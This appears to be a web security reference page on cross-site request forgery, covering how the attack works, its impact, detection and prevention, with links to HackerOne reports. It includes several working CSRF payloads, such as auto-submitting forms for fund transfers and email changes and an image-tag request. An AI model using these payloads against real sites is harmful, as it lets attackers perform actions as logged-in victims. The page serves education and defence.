Web SecurityMediumSession ridingXSRF

Cross-Site Request Forgery (CSRF)

A malicious site causes a victim’s browser to send authenticated state-changing requests they did not intend.

Live Playground · Powered by this research

CSRF Token Strength

Paste a CSRF token value to check its length, entropy, and predictability.

Payloads from this research (10 total)

<form action="https://target/state-change" method="POST"><input name=email value=attacker@x><input type=submit></form>

<form method=POST><script>document.forms[0].submit()</script></form>

<img src="https://target/notify?to=victim&msg=spam">

GET /api/graphql/?query=mutation+CreateSnippet(...)

These payloads were synthesized from real HackerOne disclosures. Click any payload to copy it, then paste it into the tester above to see how our detection classifies it.

Overview

Because browsers attach cookies automatically, a cross-origin form or fetch can trigger actions as the logged-in victim when the server relies on cookies alone and lacks anti-CSRF tokens or SameSite protection.

How it works

Example

html

<form action="https://bank.tld/transfer" method="POST">
  <input name="to" value="attacker"><input name="amount" value="5000">
</form><script>document.forms[0].submit()</script>

Impact

Unauthorized state changes - fund transfers, email/password changes, privilege grants - performed as the victim.

Detection

Replay state-changing requests with the token removed/altered and from a foreign origin/referer; flag endpoints that still succeed.

Prevention

Use anti-CSRF tokens (synchronizer or double-submit) on all state-changing requests.
Set SameSite=Lax or Strict on session cookies.
Verify Origin/Referer for sensitive actions.
Prefer non-cookie auth (Authorization header) for APIs.

Real-world HackerOne reports

Sampled from 235 disclosed reports analyzed for the Cross-Site Request Forgery (CSRF) research playbook.

#1003468 #1006306 #1010522 #1010806 #1014593 #1018270 #1046630 #1049360